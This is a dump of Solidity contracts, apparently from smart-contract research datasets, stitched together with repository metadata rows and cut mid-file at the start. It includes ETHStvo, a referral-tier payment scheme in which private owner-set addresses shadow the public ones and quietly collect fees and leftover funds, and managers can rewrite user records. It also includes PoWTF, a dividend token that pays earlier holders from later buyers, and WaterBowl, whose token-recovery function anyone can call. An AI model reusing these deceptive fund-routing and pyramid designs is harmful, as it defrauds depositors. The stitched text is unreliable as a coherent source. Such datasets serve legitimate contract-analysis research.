function _getProfitLoss(IERC20 token, uint oldBalance) internal view returns (uint profit, uint loss) {
uint newBalance = token.balanceOf(address(this));
if (newBalance < oldBalance) {
profit = 0;
loss = oldBalance - newBalance;
} else {
profit = newBalance - oldBalance;
loss = 0;
}
}
}
| 166,173 | 10,318 |
52b6be8c33b36508b3e99d5db8ec061539cbf546078262adc4810c0bea304ddc
| 13,008 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/45/45dbd709b11c9ba26a2bb2942f6b033c6e218afa_WaterBowl.sol
| 2,927 | 11,651 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.8.0;
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IFetch is IERC20 {
function breed(address to, uint256 amount) external;
function maxSupply() external view returns (uint256);
}
// We come to the water bowl to lap up liquidity. Mmmmmm.
// Max payout and capacity decrease as supply gets closer to max.
// FETCH is paid at the time of deposit.
contract WaterBowl {
using SafeERC20 for IERC20;
using SafeERC20 for IFetch;
// The FETCH Token! What you're paid in.
IFetch public immutable fetch;
// The token you pay with.
IERC20 public immutable lp;
// The rewards contract. Holds lots of FETCH.
address public immutable kibble;
// The speed that debt decays. One week.
uint256 public immutable decaySpeed = 600_000;
// The floor price. 100k FETCH / LP.
uint256 public immutable floor = 1e13;
// When the party starts.
uint256 public immutable startTime;
// Total FETCH paid in the last week.
uint256 public totalDebt;
// The last time someone deposited.
uint256 public lastDecay;
constructor (address _fetch,
address _lp,
address _kibble,
uint256 _startTime) {
require(_fetch != address(0));
fetch = IFetch(_fetch);
require(_lp != address(0));
lp = IERC20(_lp);
require(_kibble != address(0));
kibble = _kibble;
startTime = _startTime;
}
function deposit(uint amount,
uint maxPrice) external returns (uint) {
if (totalDebt == 0) {
require(block.timestamp > startTime, "hold it fella");
totalDebt = circulatingSupply() / 5;
lastDecay = block.timestamp;
}
decayDebt();
uint price = bondPrice();
require(maxPrice >= price, "Slippage limit: more than max price");
uint payout = payoutFor(amount);
require(payout <= maxPayout(), "Bond too large");
lp.safeTransferFrom(msg.sender, address(this), amount);
fetch.breed(msg.sender, payout);
totalDebt += payout; // increase total debt
return payout;
}
function decayDebt() internal {
totalDebt = totalDebt - debtDecay();
lastDecay = block.timestamp;
}
function debtDecay() public view returns (uint decay_) {
uint secondsSinceLast = block.timestamp - lastDecay;
decay_ = totalDebt * secondsSinceLast / decaySpeed;
if (decay_ > totalDebt) {
decay_ = totalDebt;
}
}
function currentDebt() public view returns (uint) {
return totalDebt - debtDecay();
}
function payoutFor(uint amount) public view returns (uint256) {
return amount * 1e18 / bondPrice();
}
function bondPrice() public view returns (uint256 price_) {
if (controlVariable() >= debtRatio()) {
price_ = floor;
} else {
price_ = debtRatio() / controlVariable();
if (price_ < floor) {
price_ = floor;
}
}
}
function debtRatio() public view returns (uint256) {
return currentDebt() * 1e18 / circulatingSupply();
}
function maxPayout() public view returns (uint256) {
uint256 supply = circulatingSupply();
uint256 maxSupply = fetch.maxSupply();
uint256 max;
if (supply < maxSupply / 10) {
max = 100;
} else if (supply < maxSupply / 5) {
max = 50;
} else if (supply < maxSupply / 3) {
max = 25;
} else if (supply < maxSupply / 2) {
max = 10;
} else {
max = 5;
}
return supply * max / 10_000;
}
// Determines the capacity. Hope this config is good!
function controlVariable() public view returns (uint256) {
uint256 supply = circulatingSupply();
uint256 maxSupply = fetch.maxSupply();
if (supply < maxSupply / 10) {
return 2e4;
} else if (supply < maxSupply / 5) {
return 1e4;
} else if (supply < maxSupply / 3) {
return 5e3;
} else if (supply < maxSupply / 2) {
return 25e2;
} else {
return 1e3;
}
}
// The supply of FETCH minus unpaid rewards.
function circulatingSupply() public view returns (uint256) {
return fetch.totalSupply() - fetch.balanceOf(kibble);
}
function recoverLostToken(address token_) external {
require(token_ != address(fetch), "woof");
require(token_ != address(lp), "woof");
IERC20(token_).safeTransfer(msg.sender, IERC20(token_).balanceOf(address(this)));
}
}
| 82,068 | 10,319 |
17149ff65cb1bca5a57967053d1657aa8b3760926e4e44247ff95e4c138938e2
| 18,385 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0x064bd8fc3acbfba6eb8105c02786659a2da8cf76.sol
| 5,156 | 18,169 |
pragma solidity ^0.5.7;
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
uint c = a / b;
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address owner;
address Main_address;
address public main_address;
address Upline_address;
address public upline_address;
mapping (address => bool) managers;
constructor() public {
owner = msg.sender;
main_address = msg.sender;
upline_address = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner, "Only for owner");
_;
}
function transferOwnership(address _owner) public onlyOwner {
owner = _owner;
}
}
contract ETHStvo is Ownable {
event Register(uint indexed _user, uint indexed _referrer, uint indexed _introducer, uint _time);
event Upgrade(uint indexed _user, uint _level, uint _price, uint _time);
event Payment(uint indexed _user, uint indexed _receiver, uint indexed _type, uint _level, uint _money, uint _time);
event Lost(uint indexed _user, uint indexed _receiver, uint indexed _type, uint _level, uint _money, uint _time);
mapping (uint => uint) public LEVEL_PRICE;
mapping (uint => uint) SPONSOR;
mapping (uint => uint) INTRODUCER;
mapping (uint => uint) UPLINE;
mapping (uint => uint) FEE;
uint REFERRAL_LIMIT = 3;
struct UserStruct {
bool manual;
bool isExist;
uint level;
uint introducedTotal;
uint referrerID;
uint introducerID;
address wallet;
uint[] introducers;
uint[] referrals;
}
mapping (uint => UserStruct) public users;
mapping (address => uint) public userList;
mapping (uint => uint) public stats_level;
uint public currentUserID = 0;
uint public stats_total = 0 ether;
uint stats = 0 ether;
uint Stats = 0 ether;
bool public paused = false;
constructor() public {
LEVEL_PRICE[0.1 ether] = 1;
LEVEL_PRICE[0.15 ether] = 2;
LEVEL_PRICE[0.5 ether] = 3;
LEVEL_PRICE[1.5 ether] = 4;
LEVEL_PRICE[3.5 ether] = 5;
LEVEL_PRICE[7 ether] = 6;
LEVEL_PRICE[20 ether] = 7;
LEVEL_PRICE[60 ether] = 8;
SPONSOR[0.1 ether] = 0.027 ether;
SPONSOR[0.15 ether] = 0.105 ether;
SPONSOR[0.5 ether] = 0.35 ether;
SPONSOR[1.5 ether] = 1.05 ether;
SPONSOR[3.5 ether] = 2.45 ether;
SPONSOR[7 ether] = 4.9 ether;
SPONSOR[20 ether] = 14 ether;
SPONSOR[60 ether] = 42 ether;
INTRODUCER[0.1 ether] = 0.0315 ether;
INTRODUCER[0.15 ether] = 0.0225 ether;
INTRODUCER[0.5 ether] = 0.075 ether;
INTRODUCER[1.5 ether] = 0.225 ether;
INTRODUCER[3.5 ether] = 0.525 ether;
INTRODUCER[7 ether] = 1.05 ether;
INTRODUCER[20 ether] = 3 ether;
INTRODUCER[60 ether] = 9 ether;
UPLINE[0.1 ether] = 0.00504 ether;
UPLINE[0.15 ether] = 0.0036 ether;
UPLINE[0.5 ether] = 0.012 ether;
UPLINE[1.5 ether] = 0.036 ether;
UPLINE[3.5 ether] = 0.084 ether;
UPLINE[7 ether] = 0.168 ether;
UPLINE[20 ether] = 0.48 ether;
UPLINE[60 ether] = 1.44 ether;
FEE[0.1 ether] = 0.01 ether;
UserStruct memory userStruct;
currentUserID++;
userStruct = UserStruct({
manual: false,
isExist: true,
level: 18,
introducedTotal: 0,
referrerID: 0,
introducerID: 0,
wallet: main_address,
introducers: new uint[](0),
referrals: new uint[](0)
});
users[currentUserID] = userStruct;
userList[main_address] = currentUserID;
}
function setMainAddress(address _main_address) public onlyOwner {
require(userList[_main_address] == 0, 'Address is already in use by another user');
delete userList[main_address];
userList[_main_address] = uint(1);
main_address = _main_address;
users[1].wallet = _main_address;
}
function setAddress(address _main_address, address _upline_address) public onlyOwner {
Main_address = _main_address;
Upline_address = _upline_address;
}
function setPaused(bool _paused) public onlyOwner {
paused = _paused;
}
function getStats() public view onlyOwner returns(uint) {
return Stats;
}
function setLevelPrice(uint _price, uint _level) public onlyOwner {
LEVEL_PRICE[_price] = _level;
}
function setSponsor(uint _price, uint _sponsor) public onlyOwner {
SPONSOR[_price] = _sponsor;
}
function setIntroducer(uint _price, uint _introducer) public onlyOwner {
INTRODUCER[_price] = _introducer;
}
function setUpline(uint _price, uint _upline) public onlyOwner {
UPLINE[_price] = _upline;
}
function setFee(uint _price, uint _fee) public onlyOwner {
FEE[_price] = _fee;
}
function setCurrentUserID(uint _currentUserID) public onlyOwner {
currentUserID = _currentUserID;
}
function viewStats() public view onlyOwner returns(uint) {
return stats;
}
function addManagers(address manager_1, address manager_2, address manager_3, address manager_4, address manager_5, address manager_6, address manager_7, address manager_8, address manager_9, address manager_10) public onlyOwner {
managers[manager_1] = true;
managers[manager_2] = true;
managers[manager_3] = true;
managers[manager_4] = true;
managers[manager_5] = true;
managers[manager_6] = true;
managers[manager_7] = true;
managers[manager_8] = true;
managers[manager_9] = true;
managers[manager_10] = true;
}
function removeManagers(address manager_1, address manager_2, address manager_3, address manager_4, address manager_5, address manager_6, address manager_7, address manager_8, address manager_9, address manager_10) public onlyOwner {
managers[manager_1] = false;
managers[manager_2] = false;
managers[manager_3] = false;
managers[manager_4] = false;
managers[manager_5] = false;
managers[manager_6] = false;
managers[manager_7] = false;
managers[manager_8] = false;
managers[manager_9] = false;
managers[manager_10] = false;
}
function addManager(address manager) public onlyOwner {
managers[manager] = true;
}
function removeManager(address manager) public onlyOwner {
managers[manager] = false;
}
function setUserData(uint _userID, address _wallet, uint _referrerID, uint _introducerID, uint _referral1, uint _referral2, uint _referral3, uint _level, uint _introducedTotal) public {
require(msg.sender == owner || managers[msg.sender], "Only for owner");
require(_userID > 1, 'Invalid user ID');
require(_level > 0, 'Invalid level');
require(_introducedTotal >= 0, 'Invalid introduced total');
require(_wallet != address(0), 'Invalid user wallet');
if(_userID > 1){
require(_referrerID > 0, 'Invalid referrer ID');
require(_introducerID > 0, 'Invalid introducer ID');
}
if(_userID > currentUserID){
currentUserID++;
}
if(users[_userID].isExist){
delete userList[users[_userID].wallet];
delete users[_userID];
}
UserStruct memory userStruct;
userStruct = UserStruct({
manual: true,
isExist: true,
level: _level,
introducedTotal: _introducedTotal,
referrerID: _referrerID,
introducerID: _introducerID,
wallet: _wallet,
introducers: new uint[](0),
referrals: new uint[](0)
});
users[_userID] = userStruct;
userList[_wallet] = _userID;
if(_referral1 != uint(0)){
users[_userID].referrals.push(_referral1);
}
if(_referral2 != uint(0)){
users[_userID].referrals.push(_referral2);
}
if(_referral3 != uint(0)){
users[_userID].referrals.push(_referral3);
}
}
function () external payable {
require(!paused);
require(LEVEL_PRICE[msg.value] > 0, 'You have sent incorrect payment amount');
if(LEVEL_PRICE[msg.value] == 1){
uint referrerID = 0;
address referrer = bytesToAddress(msg.data);
if(referrer == address(0)){
referrerID = 1;
} else if (userList[referrer] > 0 && userList[referrer] <= currentUserID){
referrerID = userList[referrer];
} else {
revert('Incorrect referrer');
}
if(users[userList[msg.sender]].isExist){
revert('You are already signed up');
} else {
registerUser(referrerID);
}
} else if(users[userList[msg.sender]].isExist){
upgradeUser(LEVEL_PRICE[msg.value]);
} else {
revert("Please buy first level");
}
}
function registerUser(uint _referrerID) internal {
require(!users[userList[msg.sender]].isExist, 'You are already signed up');
require(_referrerID > 0 && _referrerID <= currentUserID, 'Incorrect referrer ID');
require(LEVEL_PRICE[msg.value] == 1, 'You have sent incorrect payment amount');
uint _introducerID = _referrerID;
if(_referrerID != 1 && users[_referrerID].referrals.length >= REFERRAL_LIMIT)
{
_referrerID = findFreeReferrer(_referrerID);
}
UserStruct memory userStruct;
currentUserID++;
userStruct = UserStruct({
manual: false,
isExist : true,
level: 1,
introducedTotal: 0,
referrerID : _referrerID,
introducerID : _introducerID,
wallet : msg.sender,
introducers: new uint[](0),
referrals : new uint[](0)
});
users[currentUserID] = userStruct;
userList[msg.sender] = currentUserID;
uint upline_1_id = users[_introducerID].introducerID;
uint upline_2_id = users[upline_1_id].introducerID;
uint upline_3_id = users[upline_2_id].introducerID;
uint upline_4_id = users[upline_3_id].introducerID;
if(upline_1_id >0){
users[currentUserID].introducers.push(upline_1_id);
}
if(upline_2_id >0){
users[currentUserID].introducers.push(upline_2_id);
}
if(upline_3_id >0){
users[currentUserID].introducers.push(upline_3_id);
}
if(upline_4_id >0){
users[currentUserID].introducers.push(upline_4_id);
}
if(_referrerID != 1){
users[_referrerID].referrals.push(currentUserID);
}
users[_referrerID].introducedTotal += 1;
stats_level[1] = SafeMath.add(stats_level[1], uint(1));
processPayment(currentUserID, 1);
emit Register(currentUserID, _referrerID, _introducerID, now);
}
function upgradeUser(uint _level) internal {
require(users[userList[msg.sender]].isExist, 'You are not signed up yet');
require(_level >= 2 && _level <= 18, 'Incorrect level');
require(LEVEL_PRICE[msg.value] == _level, 'You have sent incorrect payment amount');
require(users[userList[msg.sender]].level < _level, 'You have already activated this level');
uint level_previous = SafeMath.sub(_level, uint(1));
require(users[userList[msg.sender]].level == level_previous, 'Buy the previous level first');
users[userList[msg.sender]].level = _level;
stats_level[level_previous] = SafeMath.sub(stats_level[level_previous], uint(1));
stats_level[_level] = SafeMath.add(stats_level[_level], uint(1));
processPayment(userList[msg.sender], _level);
emit Upgrade(userList[msg.sender], _level, msg.value, now);
}
function processPayment(uint _user, uint _level) internal {
uint sponsor_id;
uint introducer_id = users[_user].introducerID;
uint money_left = msg.value;
if(users[_user].manual == true){
uint upline_2_id = users[users[introducer_id].introducerID].introducerID;
uint upline_3_id = users[upline_2_id].introducerID;
uint upline_4_id = users[upline_3_id].introducerID;
if(users[introducer_id].introducerID >0){
users[_user].introducers.push(users[introducer_id].introducerID);
}
if(upline_2_id >0){
users[_user].introducers.push(upline_2_id);
}
if(upline_3_id >0){
users[_user].introducers.push(upline_3_id);
}
if(upline_4_id >0){
users[_user].introducers.push(upline_4_id);
}
users[_user].manual = false;
}
if(FEE[msg.value] > 0){
address(uint160(Main_address)).transfer(FEE[msg.value]);
money_left = SafeMath.sub(money_left,FEE[msg.value]);
stats = SafeMath.add(stats,FEE[msg.value]);
}
if(_level == 1 || _level == 5 || _level == 9 || _level == 13 || _level == 17){
sponsor_id = users[_user].referrerID;
} else if(_level == 2 || _level == 6 || _level == 10 || _level == 14 || _level == 18){
sponsor_id = users[users[_user].referrerID].referrerID;
} else if(_level == 3 || _level == 7 || _level == 11 || _level == 15){
sponsor_id = users[users[users[_user].referrerID].referrerID].referrerID;
} else if(_level == 4 || _level == 8 || _level == 12 || _level == 16){
sponsor_id = users[users[users[users[_user].referrerID].referrerID].referrerID].referrerID;
}
stats_total = SafeMath.add(stats_total,msg.value);
if(!users[sponsor_id].isExist || users[sponsor_id].level < _level){
if(users[_user].referrerID != 1){
emit Lost(_user, sponsor_id, uint(1), _level, SPONSOR[msg.value], now);
}
} else {
address(uint160(users[sponsor_id].wallet)).transfer(SPONSOR[msg.value]);
money_left = SafeMath.sub(money_left,SPONSOR[msg.value]);
emit Payment(_user, sponsor_id, uint(1), _level, SPONSOR[msg.value], now);
}
if(users[introducer_id].isExist){
if(INTRODUCER[msg.value] > 0){
if(!users[introducer_id].isExist || users[introducer_id].level < _level){
if(introducer_id != 1){
emit Lost(_user, introducer_id, uint(2), _level, INTRODUCER[msg.value], now);
}
} else {
address(uint160(users[introducer_id].wallet)).transfer(INTRODUCER[msg.value]);
money_left = SafeMath.sub(money_left,INTRODUCER[msg.value]);
emit Payment(_user, introducer_id, uint(2), _level, INTRODUCER[msg.value], now);
}
}
if(UPLINE[msg.value] > 0){
if(introducer_id > 0 && users[users[introducer_id].introducerID].isExist){
for (uint i=0; i<users[_user].introducers.length; i++) {
if(users[users[_user].introducers[i]].isExist && users[users[_user].introducers[i]].level >= _level && (users[users[_user].introducers[i]].introducedTotal >= SafeMath.add(i, uint(1)) || users[users[_user].introducers[i]].introducedTotal >= uint(3))){
address(uint160(users[users[_user].introducers[i]].wallet)).transfer(UPLINE[msg.value]);
emit Payment(_user, users[_user].introducers[i], uint(3), _level, UPLINE[msg.value], now);
money_left = SafeMath.sub(money_left,UPLINE[msg.value]);
} else {
emit Lost(_user, users[_user].introducers[i], uint(3), _level, UPLINE[msg.value], now);
}
}
}
}
}
if(money_left > 0){
address(uint160(Upline_address)).transfer(money_left);
Stats = SafeMath.add(Stats,money_left);
}
}
function findFreeReferrer(uint _user) public view returns(uint) {
require(users[_user].isExist, 'User does not exist');
if(users[_user].referrals.length < REFERRAL_LIMIT){
return _user;
}
uint[] memory referrals = new uint[](363);
referrals[0] = users[_user].referrals[0];
referrals[1] = users[_user].referrals[1];
referrals[2] = users[_user].referrals[2];
uint freeReferrer;
bool noFreeReferrer = true;
for(uint i = 0; i < 363; i++){
if(users[referrals[i]].referrals.length == REFERRAL_LIMIT){
if(i < 120){
referrals[(i+1)*3] = users[referrals[i]].referrals[0];
referrals[(i+1)*3+1] = users[referrals[i]].referrals[1];
referrals[(i+1)*3+2] = users[referrals[i]].referrals[2];
}
} else {
noFreeReferrer = false;
freeReferrer = referrals[i];
break;
}
}
if(noFreeReferrer){
freeReferrer = 1;
}
return freeReferrer;
}
function viewUserReferrals(uint _user) public view returns(uint[] memory) {
return users[_user].referrals;
}
function viewUserIntroducers(uint _user) public view returns(uint[] memory) {
return users[_user].introducers;
}
function viewUserLevel(uint _user) public view returns(uint) {
return users[_user].level;
}
function bytesToAddress(bytes memory bys) private pure returns (address addr) {
assembly {
addr := mload(add(bys, 20))
}
}
}
| 162,208 | 10,320 |
385f0525dcc363233e622d79dd769a8937e03fbe81da0a3e02f263011f440ab5
| 20,747 |
.sol
|
Solidity
| false |
360539372
|
transaction-reverting-statements/Characterizing-require-statement-in-Ethereum-Smart-Contract
|
1d65472e1c546af6781cb17991843befc635a28e
|
dataset/dapp_contracts/High-risk/0x702392282255f8c0993dBBBb148D80D2ef6795b1.sol
| 4,137 | 15,620 |
pragma solidity ^0.4.20;
contract PoWTF {
/// @dev Only people with tokens
modifier onlyBagholders {
require(myTokens() > 0);
_;
}
/// @dev Only people with profits
modifier onlyStronghands {
require(myDividends(true) > 0);
_;
}
event onTokenPurchase(address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy,
uint timestamp,
uint256 price);
event onTokenSell(address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned,
uint timestamp,
uint256 price);
event onReinvestment(address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted);
event onWithdraw(address indexed customerAddress,
uint256 ethereumWithdrawn);
// ERC20
event Transfer(address indexed from,
address indexed to,
uint256 tokens);
string public name = "Proof of World Trade Francs!?";
string public symbol = "PoWTF";
uint8 constant public decimals = 18;
/// @dev 15% dividends for token purchase
uint8 constant internal entryFee_ = 20;
/// @dev 10% dividends for token transfer
uint8 constant internal transferFee_ = 10;
/// @dev 25% dividends for token selling
uint8 constant internal exitFee_ = 25;
/// @dev 35% of entryFee_ (i.e. 7% dividends) is given to referrer
uint8 constant internal refferalFee_ = 35;
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2 ** 64;
/// @dev proof of stake (defaults at 50 tokens)
uint256 public stakingRequirement = 50e18;
// amount of shares for each address (scaled number)
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
uint256 internal tokenSupply_;
uint256 internal profitPerShare_;
function buy(address _referredBy) public payable returns (uint256) {
purchaseTokens(msg.value, _referredBy);
}
function() payable public {
purchaseTokens(msg.value, 0x0);
}
/// @dev Converts all of caller's dividends to tokens.
function reinvest() onlyStronghands public {
// fetch dividends
uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code
// pay out the dividends virtually
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// retrieve ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// dispatch a buy order with the virtualized "withdrawn dividends"
uint256 _tokens = purchaseTokens(_dividends, 0x0);
// fire event
onReinvestment(_customerAddress, _dividends, _tokens);
}
/// @dev Alias of sell() and withdraw().
function exit() public {
// get token count for caller & sell them all
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if (_tokens > 0) sell(_tokens);
// lambo delivery service
withdraw();
}
/// @dev Withdraws all of the callers earnings.
function withdraw() onlyStronghands public {
// setup data
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false); // get ref. bonus later in the code
// update dividend tracker
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
// add ref. bonus
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
// lambo delivery service
_customerAddress.transfer(_dividends);
// fire event
onWithdraw(_customerAddress, _dividends);
}
/// @dev Liquifies tokens to ethereum.
function sell(uint256 _amountOfTokens) onlyBagholders public {
// setup data
address _customerAddress = msg.sender;
// russian hackers BTFO
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
// burn the sold tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
// update dividends tracker
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
// dividing by zero is a bad idea
if (tokenSupply_ > 0) {
// update the amount of dividends per token
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
// fire event
onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice());
}
function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) {
// setup
address _customerAddress = msg.sender;
// make sure we have the requested tokens
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
// withdraw all outstanding dividends first
if (myDividends(true) > 0) {
withdraw();
}
// liquify 10% of the tokens that are transfered
// these are dispersed to shareholders
uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
// burn the fee tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
// exchange tokens
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
// update dividend trackers
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
// disperse dividends among holders
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
// fire event
Transfer(_customerAddress, _toAddress, _taxedTokens);
// ERC20
return true;
}
function totalEthereumBalance() public view returns (uint256) {
return this.balance;
}
/// @dev Retrieve the total token supply.
function totalSupply() public view returns (uint256) {
return tokenSupply_;
}
/// @dev Retrieve the tokens owned by the caller.
function myTokens() public view returns (uint256) {
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus) public view returns (uint256) {
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
/// @dev Retrieve the token balance of any single address.
function balanceOf(address _customerAddress) public view returns (uint256) {
return tokenBalanceLedger_[_customerAddress];
}
/// @dev Retrieve the dividend balance of any single address.
function dividendsOf(address _customerAddress) public view returns (uint256) {
return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
/// @dev Return the sell price of 1 individual token.
function sellPrice() public view returns (uint256) {
// our calculation relies on the token supply, so we need supply. Doh.
if (tokenSupply_ == 0) {
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
/// @dev Return the buy price of 1 individual token.
function buyPrice() public view returns (uint256) {
// our calculation relies on the token supply, so we need supply. Doh.
if (tokenSupply_ == 0) {
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
